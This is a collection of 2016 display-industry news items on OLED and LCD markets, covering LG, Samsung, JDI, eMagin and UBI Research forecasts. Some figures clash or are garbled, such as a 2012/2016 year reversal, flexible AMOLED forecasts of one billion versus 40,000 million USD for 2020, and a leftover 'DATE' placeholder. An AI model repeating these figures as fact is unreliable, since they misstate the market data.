LG Electronics revealed that OLED TV volume of sales was enlarged two times than last year through the conference on the third quarter performance having been progressed on the 27th, and currently OLED TV occupied over 10% among total TV sales. Also they expect that volume of the fourth quarter will be increased two times vs. the third quarter.

Regarding countermeasures on quantum dot TV of Samsung Electronics, they have no notion of competing prices with OLED TV, and emphasizes that they will strengthen recognition such like best TV is OLED TV by thoroughly sustaining premium strategies. They explains that market position of OLED in the market of over USD 200, or USD 300 has been actually increasing rapidly

HE Business Division achieved operating incomes (381.5 billion won) and sales profits of top levels (9.2%) in the third quarter. Sales amount was 4 trillion and 141.5 billion won, and there was not large change with previous quarter (4 trillion and 157.2 billion won).
LG Electronics forecasts that TV demands will be increased due to entering high-demand season in the fourth quarter, and needs on premium products such as OLED TV and UHD TV will be expanded further vs. previous quarter centering on the advanced market especially. Though profitability is expected to be decreased vs. previous quarter owing to effects from increases of panel price and expanded marketing expenses, they reveals their willingness such like responding to seasonal demands on large-size premium products including OLED TV and UHD TV etc. will be made successfully.

Meanwhile, according to UBi RESEARCH, they forecasts that OLED TV in premium TV market will achieve high-speed growth while forming the market of 69.1% in 2012 from 16.7% in 2016.

LG Display, OLED Investment Ratio 50% this year → Next year 70%

During the 3Q performance conference call on 26th, LG Display mentioned that their investment ratio in OLED was 50% this year, and plans to increase its ratio to at least 70% next year.

Small and medium sized mobile display market will quickly change from LCD to POLED, and plans to strengthen business cooperation in 1Q of next year, such as mass production of 6th generation E5 line and technological competitiveness, in order to make the basis of OLED extension. It means they started to concentrate on small and medium sized OLED business starting next year.

They also revealed their production plan and future strategies of POLED production line. Gumi E5-1 line and E5-2 line are productions lines with monthly production capacity of 7500 sheets each, where they are proceeding POLED investments after converting existing LTPS facility, and also Paju E6 line is in process of investment to increase the monthly capacity of 15,000 sheets. It seems they will be capable for mass production by 2H 2018.

OLED TV market indicated that they will continue to put effort in cost reduction from improvements in rate, process, and production. They mentioned to establish OLED market more firmly in 1H of next year after successfully increasing the mass production capacity to 25,000 sheets. Among the entire TV panel, OLED sales took up 10%, and among OLED TV panel, 55-inch screen took up 70%, and they forecasted 65-inch market ratio will increase.

They noted they have high expectations of market growth in large screen HD field in large LCD. China is catching up in the market very fast but, they emphasized they will be able to easily acquire profitability by concentrating in high-end LCD such as OLED.

The biggest reason that they choice OLED as their next generation business is because there are possibilities in extension in automobile and commercial other than existing TV•monitor IT devices, and in case of automobiles, they said they are currently in cooperation with many other companies, and also informed many companies are interested in currently ongoing topic, VR, where they plan to adopt plastic OLED products.

In case of commercial products, they are proceeding developments with their customers in various fields such as medical and broadcasting other than public signage. They also mentioned that they are planning to proceed OLED light business after collecting many applications in one place.

From price increase of large LCD panel and extension of large-scale trend of all products, LG Display continued their profit relay for 18 consecutive quarters by resulting 3rd quarter sales of 6,723,800 million KRW and profit of 323,200 million KRW. Sales increased by 15% (5,855,100 million) compared to past quarter, operating profit increased by 634% compared to past quarter (44,400 million KRW) due to improvements in high-valued products such as ASP, UHD, and IPS.
On the other hand, according to Yubi industry research, LG Display forecasted to ship out 900 thousand large OLED panel in 2016, and 1,500 thousand in next year.

Next to Bezel-less is full-screen, Prospect of 60% market share of full-screen OLED panel in 2020.

Smartphone displays have been diversifying as the hard wares and soft wares in smartphone have been improving. Samsung edge series have successfully entered the flexible OLED smartphone market and other smartphone companies now are manufacturing flexible OLED based products. Furthermore we are expecting a big change in the display market as Apple may release its new iPhone models with OLED in 2017.

According to a recent study “Key Issue and The Market Analysis for Foldable OLED” from UBI research, it is expected that bezel-less type of flexible OLED, which is an upgraded model of dual edge display, will lead the market until 2017 and then there will be new smartphones with various forms of displays as new types of flexible OLED like full-screen, foldable, rollable displays will be launched after.

Also, they expected that full screen displays will be invented by reducing the size of the top and bottom bezels as well as sides bezels and they will be leading the market afterwards.

Moreover, according to the report, they analyzed that the full-screen OLED panels will be at around 17% market share of total flexible AMOLED panel market in 2017 and it will reach around 60% while it will surpass the market share of bezel-less typed panels.

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Definition of each Flexible OLED type and the prospect of a market share (UBI Industrial Research)

Researchers also expected that there will be a strong chance that they will release new smartphones with foldable display in 2017 to see how the market reacts and they will get seriously start to manufacture mass production from 2019, taking consumers needs into consideration and anticipating the direction of technology and pace of change. In addition, the size of foldable smartphone’s market is expected to take up to 2% market share by 2020 as around 1.5 million foldable smartphones will be expected to be manufactured.

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History of each Smartphone display types. (UBI Industrial Research)

 

Flexible AMOLED panel market growing to approx one billion USD in 2020

According to the UBI industrial research report on ‘’key issues and market analysis of fordable implementation’’ issued on DATE, in 2020 flexible AMOLED panel (including smart watch panel) will grow to approx one billion USD.

The report says that Samsung Electronics has successfully advanced in the flexible AMOLED smartphone market with distinctive Edge band design, and so have other competitors. Edge-type flexible AMOLED smartphone market size is expected to increase remarkably in 2017. Particularly Samsung electronics’ soon-to-be-released high-end model is equipped with flexible AMOLED panel, and Apple’s iPhone in flexible AMOLED panel application will be launched in 2017. The flexible AMOLED panel market is showing 70% annual market growth, and forecasts approx US$ 40,000 million in 2020.

In 2017 a foldable smartphone and dual edge transformed model in the flexible AMOLED panel application will be introduced in the market.

A UB industrial researcher says “In 2017 along with a new-fixed type flexible smartphone, a foldable smartphone is likely to be released to observe the market response.”

On the other hand, to implement the foldable application the report deals with key issues and current situation of each compartment (substrate ~ cover window), and main development trend to forecast a direction of truly flexible AMOLED panel development.

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[OLED summit 2016]LG Display, presentation of must-be developed pOLED’s core technology

In OLED summit 2016 held in San Diego, USA on 21st(local time), general manager of LG Display Joosu Im gave presentation on “Going forward with pOLED & future challenges” which is about 5 core technology that must-be developed in pOLED and the next pOLED.

As 5 types of core technology of pOLED, dream picture quality, design freedom, process simplication, cost innovation, a diversity of pOLED products were selected.

The presentation focused on topics such as, in dream picture quality, HDR and BT-2020 are applied in high resolution, and in design freedom, new TSP sensor development such as low stress TFT and metal mesh, and durability improvement of flexible window cover.

Also, he emphasized the process development for reducing the panel layer such as low temperature process and touch integration for process simplification, and the need for cost innovation through it. Lastly, he suggested material development (such as phosphorescence, TADF blue) in low power for diversity of pOLED products such as monitor for VR and PC, and automobile diversity of pOLED products, and also suggested changes of pixel design for enhancing the open ratio.

As a new opportunity for pOLED, he pointed out applications on foldable, automotive, and VR devices, and mentioned transparent display as the next pOLED.

This LG Display presentation is very much similar to Samsung’s previous presentation about Samsung Display in IMID 2016, and it looks like the development process and roadmap of the two companies are identical in pOLED (flexible OLED).

Especially, seeing that BT2020 application in AMOLED panel for mobile is previously mentioned by Samsung Display early this year, and now also mentioned by LG Display, it is expected that BT2020 application will become another main issue.

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< LG Display general manager Joosu Im >

< Samsung Display presentation contents, IMID 2016 >

Phone when Folded, Tablet when Opened… President of UBI Research ‘Flexible OLED Opens New Digital Convergence’

The president of UBI Research Choong Hoon Yi

Hyunjoo Kang / jjoo@olednet.com

Phone when Folded, Tablet when Opened… President of UBI Research ‘Flexible OLED Opens New Digital Convergence’

Combining smartphone and tablet PC, flexible OLED is expected to be a key player in opening the new digital convergence era.

During the Industrial Forum IMID 2016, held on 23 August in Jeju ICC in South Korea, the president of UBI Research Choong Hoon Yi gave a keynote speech and suggested the changes to the industry that flexible OLED will bring.

Yi discussed diverse applications for flexible OLED and emphasized that digital convergence where tablet PC is absorbed into smartphone will occur. He explained that flexible OLED will open the foldable phone era where the screen can be completely folded, and innovative product which will become a 5 inch smartphone when folded and a tablet PC when opened will be developed.

Yi explained that using the flexible OLED’s characteristics of thinness, lightness, flexibility, and spatial efficiency, it will be widely used. He estimated that not only will flexible OLED be used in automotive screen, lighting, flexible signage, and foldable game device, it will be utilized in diverse areas from wearable products such as smart helmet to smart fashion.

Referencing UBI Research’s analysis, Yi forecast that in 2020, 60% of the total smartphone will be OLED smartphone, and in 2021, 70% of OLED smartphone will be equipped with flexible OLED.

UBI Research Lowers Forecast of OLED Market for ≥ 55 inch TV by Approx. 20-30%

55inch LG OLED TV

Hyunjoo Kang / jjoo@olednet.com
UBI Research reduced the expected OLED panel shipment for ≥ 55 inch TV in 2016-2020 by approximately 20-30% from the previous forecast. This is with the consideration that ≥ 65 inch TV market is growing.
Earlier this year, UBI Research forecasted that the global shipment of ≥ 55 inch OLED panel will be 1.2 million units in 2016 and grow to 8.1 million units in 2020. However, as the proportion of 65 inch panel mass production increases, the company reduced the forecast by 20-30% to approximately 0.8-0.9 million units in 2016, and around 6 million units in 2020. This is because 65 inch panel has low yield per mother glass.
This figure is based on the LG Display’s large size OLED panel mass production line, E3 and E4 factories in Paju. E3 factory is mainly operated for 55 inch panel production. E4 factory also has high 55 inch production proportion, but 65 inch panel is also mass produced at the same time.
55 inch TV is the main product for large size TV at present, but 65 inch TV market is also rapidly growing. Accordingly, LG Display is increasing the 65 inch panel proportion. UBI Research’s market investigation shows LG Display shipped approximately 28,000 units of 65 inch OLED panel in Q2 2016. This is approximately double the Q1 volume.
From 1 Gen8 mother glass sheet of E4 line, 6 units of 55 inch OLED panel can be produced but only 3 units of 65 inch panel. This means that as LG Display increases the 65 inch proportion, yield of the same period decreases.
Considering this, UBI Research forecasts that the shipment of ≥ 55 inch OLED panel will decrease by approximately 20-30%. Another market research company IHS also lowered global OLED TV market forecast by 32%, and estimated this year’s to be about 0.83 million units, and 5.8 million units in 2020.

Dramatic Growth for OLED Smartphone …Q2 2016 Panel Shipment Increased by 72%

OLED Smartphone Galaxy Note7(Source = Samsung)

OLED Smartphone Galaxy Note7(Source = Samsung)

Hyunjoo Kang / jjoo@olednet.com

OLED smartphone market is growing prominently in the global market. Q2 2016 global 4~6 inch OLED panel shipment increased by 72% compared to the same period in 2015.

According to investigation by UBI Research, the shipment of OLED panel for smartphone in Q2 2016 is 88 million units, an increase of 72% compared to 51.2 million units in Q2 2015. This rapid growth of 4~6 inch OLED panel is led by key smartphone companies in Korea and China.

Samsung Electronics, a leading representative of OLED smartphone market, is expanding OLED smartphone products. The company recently announced flexible OLED panel equipped Galaxy Note 7, a first for a Galaxy Note series.

Not only Samsung, but Chinese companies are leading the market growth expanding the OLED application. In particular, Huawei’s smartphone business growth is significantly affecting OLED market. According to a market research company IDC, the global smartphone sales of the same period is only 3%. However, the sales of Huawei, possessing numerous OLED smartphone products, increased by 25% in H1 compared to the same period in 2015.

According to UBI Research, the total revenue of Q2 2016 global smartphone OLED panel market is USD 3,160 million, approximately 27% increase compared to the same period in 2015.

Smartphone OLED Shipment, From 2016’s 300 Million Units to 2019’s 1,000 Million

Flexible OLED Equipped Smartphone Galaxy note 7

Hyunjoo Kang / jjoo@olednet.com

Global smartphone OLED panel shipment is expected to exceed 300 million units for the first time in 2016, and exceed 1,000 million units in 2019.

On 16 August, UBI Research forecast that the global shipment for 4-6 inch OLED panel for smart phone is expected to be 318.8 million units, approximately 27% increase from 2015.

From then on, 2017 is estimated to record 505.3 million units, 902.5 million units in 2018, 1,170.2 million units in 2019, and 1,379 million units in 2020.

UBI Research forecast that rapid growth of flexible OLED for smart phone in particular will lead the total smart phone OLED shipment increase. According to UBI Research’s investigation, rigid type of smart phone OLED shipment is expected to dominate the total smartphone OLED shipment in 2016 with 78%.

However, in 2018, flexible OLED panel is estimated to record 56% and exceed rigid. The market share of flexible is expected to increase to 62.3% in 2019, and 67% in 2020; it is forecast to be the main force within the smartphone OLED market.

IHS, another market research company, also forecast that the smart phone OLED panel shipment will exceed 300 million units for the first time in 2016. IHS estimated the smartphone OLED shipment to be 366.88 million units in 2016 and 663.66 million in 2019, and showed some difference from UBI Research.

H1 Sales of OLED Microdisplay Company eMagin Falls by 3.8%… USD 1 Million Profit in Licensing

eMagin`s Microdisplay (Source = eMagin)

Hyunjoo Kang / jjoo@olednet.com

eMagin, an OLED microdisplay company which is a technology that is needed for VR device, AR device, medical device, etc., showed 3.8% fall in H1 2016 sales compared to the same period last year with net loss of USD 2.404 million.

According to eMagin’s Q2 2016 performance results announced on 11 August, the company recorded sales of USD 5.5 million in sales, a decrease of approximately 11% compared to the same period in 2015.

As such, eMagin’s total sales in H1 is USD 12.534 million, approximately 3.8% less than H1 2015. While the product sales did not significantly differ, the government contracts suffered compared to the same period last year. However, the company recorded profit of USD 1 million in licensing revenue which did not occur in H1 2015. eMagin holds VR headset related intellectual property rights.

eMagin recorded a net loss of USD 2.164 million in Q2 2016, and a net loss of USD 2.15 million in H1 2016. Compared to the net profit of USD 0.254 million in the same period last year, this is a fall of USD 2.404 million. Andrew G. Sculley, CEO of eMagin, explained that the government contract volume was low and there were some manufacturing equipment downtime. He emphasized that eMagin is the only company that can satisfy the resolution and luminance demanded by the expanding VR and AR market.

JDI Seeks Government Financial Support, H1 Operating Lost JPY 10,600 Million

Source = JDI

Hyunjoo Kang / jjoo@olednet.com

Japan Display, which recently drew attention when it became known that they sought financial help from the government, recorded JPY 10,600 million operating loss in H1 2016.

This company recently announced that in Q1 2016, a fiscal year that ended on 30 June, they recorded JPY 174,300 million in sales, a decrease of 29.2% compared to the same period last year, and operating loss of JPY 3,400 million, a fall of 5,600 million compared to the same period in 2015.

As such in H1 2016, JDI showed JPY 350,600 million in sales and JPY 10,700 million operating loss. It explained that the shipment in the last quarter fell short of expectations, and operating profit was poor due to China’s ASP fall, etc. In particular, it is analyzed that the poor sales of Apple’s iPhone, which has been occupying 50% of JDI sales, affected JDI’s business.

On 10 August, Japanese media reported that Mitsuru Honma, CEO of JDI, revealed that INCJ promised support. The financial support is analyzed to be for the smooth installation of OLED mass production line as well as the loss recovery.

JDI is carrying out mobile OLED mass production line and anticipated to be one of the strong candidates as OLED panel suppliers for Apple’s future new iPhone. Through this performance announcement, JDI emphasized they are planning to mass produce OLED from H1 2018.

The company forecast that they will show JPY 210,000 million in sales and JPY 1,000 million operating profit in Q2 2016 in fiscal year that ends in 30 September.

H1 2016 OLED Wearable, Disappeared Smartwatch and Rising VR ∙ Smartband

bungee jump with Gear VR (Source = Samsung)

Hyunjoo Kang / jjoo@olednet.com

Unlike the same period last year, H1 2016 showed quiet smartwatch sector while VR (virtual reality) device and smartband became popular.

According to UBI Research, of OLED wearable device revealed in H1 2016, 6 are VR devices (OLED display is either directly equipped to the device or OLED smartphone can be connected) and 4 are smartbands. In H1 2015, there were 5 OLED smartwatches and 3 OLED smartbands. The difference between almost no smartwatches in H1 2016 is evident.

In VR sector, Oculus began the announcements with Samsung Display’s OLED equipped Oculus Rift in January. Following this, other companies such as Sony, HTC, and DeePoon revealed new products in international exhibitions. Samsung Electronics recently showed Gear VR that can be paired with Galaxy Note 7 in New York, and VR is expected to maintain its popularity in Q3.

In H1 2016, smartband stimulated the market with Samsung Electronics’ Gear Fit 2, Xiaomi’s Mi Band 2, and Fitbit’s Alta.

However, the only new OLED smartwatch product announced in H1 2016 was China’s GEAK’s GEAK Watch 3, and it was not even released in the market. The reason for the slump in the smartwatch market has been noted to be short battery life, and lack of useful applications. However, as Samsung Electronics and Apple are expected to announce new smartwatch products in Q3, renewed enthusiasm is anticipated.

Samsung’s Gear 3 is expected to be revealed in IFA 2016 in Berlin in September. Apple is also rumored to be announcing Apple Watch in September. Apple has already revealed smartwatch operating system Watch OS3 with improved speed and function in June.

Global Lighting OLED Market, USD 1,600 Million in 2020… Half by LG Display

Global OLED lighting panel revenue market share(출처 = UBI Research 2016 OLED Lighting Annual Report_

Global lighting OLED panel revenue market share (Source = UBI Research 2016 OLED Lighting Annual Report)

Hyunjoo Kang / jjoo@olednet.com

Global lighting OLED panel market is rapidly growing each year. In 2020, it is expected to record USD 1,600 million, and LG Display is estimated to occupy 53%.
According to 2016 OLED Lighting Annual Report, published by UBI Research on 8 August, the global OLED lighting panel market is expected to record USD 114 million in 2016 and show CAGR of 66% in 2017-2025.
Advantages of OLED lighting includes high energy efficiency and diverse application areas. The fact that the restrictions on the use of incandescent light is being tightened is also one of the reasons that OLED lighting is receiving much attention. As such, the global OLED lighting panel market will continue to grow and record USD 1,600 million in 2020.
LG Display is the only company that carried out investment while possessing OLED lighting panel mass production technology. In early 2016, OLED lighting business was moved from LG Chem. to LG Display.
In March, LG Display decided on 15K monthly capa. of Gen5 OLED lighting panel mass production line investment, and is actively expanding this business. The company is expected to record 53% of 2020 global OLED lighting panel sales with USD 848 million.
In terms of application areas, general indoor downlight and automotive lighting are estimated to show rapid growth and occupy the largest proportion of the OLED lighting market. Furthermore, OLED lighting market is expanding in other areas such as outdoor, medical, and exhibition use.
UBI Research estimates that in 2025, the automotive OLED lighting panel market will grow to record USD 2,786 million, and indoor lighting panel market to USD 3,409 million.

Taiwan’s Q2 2016 LCD Shipment, Small to Medium Size ↓, Large Size ↑…Business Profit of AUO, Innolux, etc. Reduced

Taiwanese panel industry recorded decreased small to medium size LCD panel shipment and increased shipment of 9 inch or bigger large size LCD panel. (Picture Source = AUO)

Taiwanese panel industry in recorded decreased small to medium size LCD panel shipment and increased shipment of 9 inch or bigger large size LCD panel. (Picture Source = AUO)

 

Hyunjoo Kang / jjoo@olednet.com

In Q2 2016, Taiwanese panel industry recorded decreased small to medium size LCD panel shipment and increased shipment of 9 inch or bigger large size panel.

According to DigiTimes, Taiwanese TFT-LCD panel companies shipped 58.38 million units of ≥ 9 inch panels in Q2 2016, an increase of 18.1% QoQ, and 0.8% increase YoY. The small to medium size panel shipment was 269.249 million units, a decrease of 0.5% QoQ, and 6.3% decrease YoY.

In terms of small to medium size, ≤ 9 inch, Chunghwa Picture Tubes (CPT) led the shipment volume with 100.56 million units, and HannStar Display followed with 67.892 million units in Q2. For LCD panels ≥ 9 inch, AUO led the Taiwanese market with Q2 shipment of 27.11 million units. Of these 7.176 million units are for TV, and the rest are for notebook, monitor, and tablet. Following AUO, Innolux recorded 27.09 million units of shipment. Of these 10.72 million units are for TV, and the rest are for notebook, monitor, and tablet.

According to companies’ recent Q2 performance announcement, key Taiwanese LCD companies, including AUO and Innolux, reported decreased business profit. AUO reported TWD 80,000 million in Q2 sales, a 13% fall YoY, and TWD 116 million in business profit, approximately 98% decrease YoY. Innolux showed TWD 66,800 million in Q2 sales, decrease of approximately 29%, and business loss of TWD 3,039 million.

LG Electronics Q2 Business Profit 140%↑…Improved Profitability from OLED TV Sales Expansion

출처=LG전자

Source = LG Elec.

Hyunjoo Kang / jjoo@olednet.com

Boosted by OLED TV sales increase, LG Electronics’ Q2 business profit increased by approximately 140%.
LG Electronics Inc. (LG) announced second-quarter 2016 operating income of KRW 584.6 billion (USD 503.10 million), nearly 140 percent higher than the previous year, from strong performance by the Home Appliance & Air Solution and Home Entertainment companies, both reporting the highest quarterly operating profit in LG’s history. Global consolidated revenues of KRW 14 trillion (USD 12.05 billion) increased both year-on-year and quarter-on-quarter.
LG Home Appliance & Air Solution Company accounted for the largest share of the second quarter’s operating profit with KRW 433.7 billion (USD 373.24 million). Revenues of KRW 4.70 trillion (USD 4.04 billion), an increase of 4.8 percent from the second quarter last year, were driven by growth in B2B sales of air conditioning systems and strong overall performance in Korea, Europe and Asia. With an improved product portfolio and cost structure, the business unit was able to achieve an operating margin of more than 9 percent. Going forward, premium products such as the LG SIGNATURE collection, TWINWash and LG Styler are expected to contribute positively to the performance of the company.
LG Mobile Communications Company saw revenues of KRW 3.33 trillion (USD 2.86 billion) increase 12 percent from the first quarter, while declining from the same period the year before. An operating loss of KRW 153.5 billion (USD 132.10 million) reflected increased marketing expenditures and somewhat slow initial sales of G5 smartphone. Overall smartphone shipments increased 3 percent from the previous quarter with a total of 13.9 million smartphones shipped in the second quarter. The launch of the new V series and expanding sales of mass-tier K and X series models are expected to improve the business unit’s performance next quarter.
LG Home Entertainment Company reported a record KRW 356.7 billion (USD 306.97 million) in operating profit on revenues of KRW 4.16 trillion (USD 3.58 billion), a 5.7 percent increase from the 2015 second quarter, in large part thanks to the growing market for premium TVs. An increase in sales of higher-end ULTRA HD and OLED TVs and improved cost structure management contributed to an operating margin of 8.6 percent, the highest in the history of LG’s home entertainment division. The business unit will continue to benefit from the growing UHD and OLED TV markets and cost competitiveness, although cost increases for flat-panel components may affect profitability.
LG Vehicle Components Company reported sales of KRW 639.6 billion (USD 550.4 million), an increase of 42 percent from the same period the previous year, thanks to high growth in the automotive infotainment sector. Increased R&D investments in infotainment and electric vehicle technologies, however, contributed to an operating loss of KRW 16.8 billion (USD 14.46 million) in the quarter. The outlook for LG’s automotive component business is positive with production of components for the Chevrolet Bolt electric vehicle commencing in the third quarter.

 

Samsung Elec. Q2 Business Profit KRW 8.14 Trillion…Display Turns Deficit into Surplus with Business Profit KRW 0.14 Trillion

Source = Samsung

Source = Samsung

Samsung Electronics today announced financial results for the second quarter ended June 30, 2016. Samsung’s revenue for the quarter was KRW 50.94 trillion, an increase of KRW 2.40 trillion YOY, while operating profit for the quarter was KRW 8.14 trillion, an increase of KRW 1.24 trillion YOY.

The second quarter saw significant earnings growth led by strong performance both in the set and component businesses. Overall earnings of the set business improved YOY as well as QOQ due to the continuous sales increase of premium products.

The IT & Mobile Communications (IM) Division saw substantial earnings improvement led by expanded sales of flagship products such as the Galaxy S7 and S7 edge. A streamlined mid-to low-end smartphone lineup also contributed to improved profitability. Operating profit for the IM Division was KRW 4.32 trillion.

The Consumer Electronics (CE) Division achieved significant earnings growth YOY led by strong sales of its premium lineup such as SUHD TVs, Chef Collection Refrigerator, AddWash washer and newly launched air conditioner.

The component business achieved solid performance although overall earnings decreased YOY due to ASP declines in the industry. Earnings for the Display Panel segment improved QOQ led by increased OLED capacity utilization and stabilized LCD panel yields. Demand for semiconductors for mobile and SSD increased and the company achieved solid growth with a competitive edge in differentiated products, including 20-nanometer DRAM, V-NAND and 14-nanometer mobile AP.

The company estimated that the stronger Korean won against major currencies in the second quarter negatively impacted operating profit by approximately KRW 0.3 trillion, reflected mainly in the component business earnings.

Looking ahead to the second half of 2016, the company expects its solid performance to continue compared to the first half, mainly driven by earnings increase in the component business due to sales growth in high value-added products and stable demand and supply conditions. The set business is expected to continue its stable earnings while the IM Division expects marketing expenditure to increase.

In the third quarter, the company expects the component business to maintain its solid performance due to improved demand and supply conditions for memory chips and LCD panels and stable earnings for OLED and System LSI. For the set business, the company forecasts marketing expenditure for the IM business to increase mainly due to a new flagship product launch and fierce competition in the industry. Meanwhile, weak seasonality is likely to impact the CE business.

Capital expenditure (CAPEX) for the second quarter was KRW 4.2 trillion, which includes KRW 2 trillion for the Semiconductor business and KRW 1.6 trillion for the Display Panel business. The accumulated total CAPEX for the first half was KRW 8.8 trillion.

The annual plan for CAPEX has not yet been confirmed but is projected to increase slightly compared to last year. This year’s CAPEX will be concentrated on OLED and V-NAND capacity as the company sees strong market demand for OLED panels for smartphones and V-NAND SSD.

Demand for High-Density, High-Valued Products Drives Higher Earnings

The Semiconductor business posted KRW 12 trillion in consolidated revenue and KRW 2.64 trillion in operating profit for the quarter.

The memory business enjoyed solid growth in demand in the second quarter. Orders for high-density NAND and DRAM products contributed to solid earnings QOQ. This was coupled by a reduction in cost from continuous process migration.

In NAND, shipments of SSD remained strong in the quarter, as enterprise companies increasingly made the transition from HDD to SSD so as to reduce total cost of ownership (TCO). Orders for high-density mobile storage products over 32GB also helped drive sales, mainly due to the expanded adoption by Chinese companies. Samsung actively responded to orders for high-density mobile products over 64GB and enterprise SSD over 4TB and increased supply of the industry’s first 48-layer V-NAND.

In DRAM, demand climbed QOQ as smartphone manufacturers bought more high-density mobile DRAM and demand for high-density products increased following the launch of a new server platform.

A supply imbalance of some applications led to greater demand for Samsung’s 20-nanometer high-density, high value-added mobile and server products.

Looking ahead, for NAND, increased adoption of high-density products and strong seasonality will further drive demand growth in the second half. Growth in high-density, premium SSD products will continue, and the launch of new products by smartphone manufacturers is expected to raise demand for mobile storage. However, supply and demand will be tighter in the second half, due to soft industry supply growth.

For DRAM, the launch of new smartphones and the increasing adoption of 6GB memory chips in high-end smartphones will spur shipments of mobile DRAM in the second half. Shipments of high-density server products will be strong, as more data centers make the transition to a new server platform.

The System LSI business saw gains QOQ, thanks to stronger demand for 14-nanometer mobile AP in premium smartphones and increased sales of high megapixel image sensors. In the second half, increased sales of mid- to low-end mobile AP and LSI products are expected to provide a stable revenue stream.

Improved Display Performance on Strong OLED Sales and LCD Recovery

The Display Panel segment posted KRW 6.42 trillion in consolidated revenue and KRW 0.14 trillion in operating profit for the quarter driven by increased shipments of OLED panels and enhanced yields for new LCD TV panel production technology.

For the OLED business, second quarter earnings improved QOQ due to healthy sales of flagship smartphones and increased demand for flexible panels. High fab utilization rates with the help of an expanded mid to low-end product portfolio also contributed to improved earnings.

For the LCD business, the second quarter saw a continuation of QOQ growth under a gradual recovery in the supply-demand balance. The company was able to achieve growth thanks to improved yields for new TV panel production technology as well as expanded TV sales particularly for large-sized UHD panels.

Looking ahead to the second half, the OLED business, Samsung expects demand for OLED panels to rise despite a likely slowdown in the smartphone market. To remain competitive, the company plans to actively address customer demand and reinforce profitability by expanding the proportion of high value-added products such as flexible and high-resolution displays. Samsung will also seek to secure supply capacity according to market demand while expanding its customer base and new applications.

As for the second-half outlook for the LCD industry, Samsung expects supply and demand to improve thanks to increased demand under strong seasonality as well as continuous UHD TV market growth and size migration towards larger screens. In response, the company will focus on enhancing profitability by improving cost competitiveness and expanding its portfolio to high value-added products including ultra-large size, high-resolution and curved panels.

Mobile Unit Strengthens Competitiveness Amid Slow Global Market

The IM Division posted KRW 26.56 trillion in consolidated revenue and KRW 4.32 trillion in operating profit for the quarter.

Samsung’s earnings improved QOQ thanks to strong sales of its flagship Galaxy S7 and S7 edge smartphones. Additionally the company achieved growth in the second quarter by maintaining the profitability of mid- to low-end models, such as the Galaxy A and J series, and improving the product mix by raising the sales proportion of the Galaxy S7 edge to over 50 percent.

Demand for smartphones and tablets in the second half is forecast to increase, however, market competition is expected to strengthen as other companies release new mobile devices. Despite this outlook, Samsung will focus on YOY earnings increase by strengthening its high-end line-up and maintaining solid profitability of mid to low-end products.

Looking into the third quarter, the release of a new large-screen flagship smartphone will help to maintain solid sales of high-end smartphones led by the Galaxy S7 and S7 edge. Samsung will also focus on expanding smartphone sales including this year’s new Galaxy A and J series and the debut of the Galaxy C series exclusively for the China market.

Samsung will focus on increasing smartphone sales under strong seasonality with the launch of a new model, while expecting marketing expenses to increase QOQ due to seasonality.

As for the Networks business, earnings improved due to increased LTE investment of major carriers in the second quarter.

Solid Performance for Consumer Electronics Despite Sluggish Market

The Consumer Electronics Division – encompassing the Visual Display (VD), Digital Appliances (DA), Printing Solutions and Health & Medical Equipment (HME) businesses – posted KRW 11.55 trillion in consolidated revenue and KRW 1.03 trillion in operating profit for the quarter.

In the second quarter, global TV demand remained flat YOY due to sluggish economic conditions in major emerging markets that offset the growth experienced in developed markets. Amid these challenging conditions, Samsung achieved solid YOY earnings by successfully launching new products, including SUHD TVs, and increasing sales of premium products on the back of global sporting events.

For the appliances business in the second quarter, although growth momentum continued in North America, global demand declined YOY due to slower growth in China and the impact from the economic slowdown in emerging markets. Despite these circumstances, earnings improved from the same period of the previous year thanks to increased sales of premium products such as the Chef Collection refrigerator and the AddWash and activ dualwash™ washing machines.

Looking ahead to the second half, TV demand is expected to decline YOY due to weakened demand in Europe and a prolonged economic slowdown in emerging markets. In response, Samsung will focus on improving profitability and increasing sales through collaborations with local channel partners and through region-specific promotions. To reinforce its leadership in the premium TV segment, the company will also seek to grow sales of its premium SUHD TV line-up, particularly products featuring its Quantum Dot technology.

Concerning the outlook for appliances in the second half, market growth is expected to be limited due to the aforementioned concerns in Europe and emerging markets. Despite these conditions, Samsung will actively seek opportunities to counter the challenging market dynamics by launching innovative products that offer superior consumer experiences. The company also plans to achieve further growth by enhancing its B2B business in this sector, particularly for built-in kitchens and system air conditioners.

Chinese Gen8 LCD Line, Exceeding Korea…“Complementary Investment is Most Reliable”

Chinese and Taiwanese panel companies’ Gen8 or higher LCD mass production line is 690K in total as of Q1 2016. This is higher than Korea’s Gen8 LCD capa. (Source = BOE)

Chinese and Taiwanese panel companies’ Gen8 is higher than Korea’s Gen8 LCD capa. (Picture Source = BOE)

Hyunjoo Kang / jjoo@olednet.com

In order to respond to the outpouring Chinese large area LCD, it is analyzed that carrying out investment to turn large area LCD line into OLED is the most reliable method.

According to 2016 OLED Manufacturing Equipment Annual Report, recently published by UBI Research, Chinese and Taiwanese panel companies’ Gen8 or higher LCD mass production line is 690K in total as of Q1 2016. This is higher than Korea’s Gen8 LCD capa.

Even now, China is showing active movements in additional establishment of large area LCD mass production line. UBI Research forecasts that in 3 years, China and Taiwan’s new large area LCD mass production line will reach up to 80% of the Korea’s current mass production capa. The report emphasizes that to fight against this great supply volume from Great China region, Korean panel companies should change the large area LCD line to OLED.

In case of Gen8 line, unlike small-to-medium size line, the LCD line can be cost effectively transformed to OLED line. As such, it is considered to be the main object for the complementary investment.

Particularly, if oxide TFT, which has few photomask processes, and WRGB+CF technologies are applied, existing large area a-Si LCD line’s manufacturing equipment can continue to be used.

UBI Research explained that an advantage of complementary investment is the fact a-Si LCD line’s backplane equipment and color filter equipment can continue to be used. He further added that in order to maximize a-Si line’s capa., development of TFT process with few photomask processes is a necessity.

 

SDC Urgently Needs Additional Installation of 20-30K Gen5.5 Rigid OLED Line

Source = Samsung

Picture Source = SDC

Hyunjoo Kang / jjoo@olednet.com

In order to respond to rapidly increasing OLED smartphone demand, Samsung Display( SDC ) is analyzed to require additional installation of Gen5.5 rigid OLED line and V1 line move.

At present, China’s smartphone OLED demand is explosive. According to UBI Research’s investigation, China needs up to 200 million units of mobile OLED until next year. Therefore, for Samsung Display to produce more OLED panels in A2 factory, V1 line that produces transparent OLED needs to be moved to L8 which is a Gen8 LCD factory.

OLED use V1 line has been using Gen8 manufacturing equipment produced TFT substrate cut into 6. As such, moving the V1 line to Gen8 factory is analyzed to be advisable in terms of panel production and distribution management.

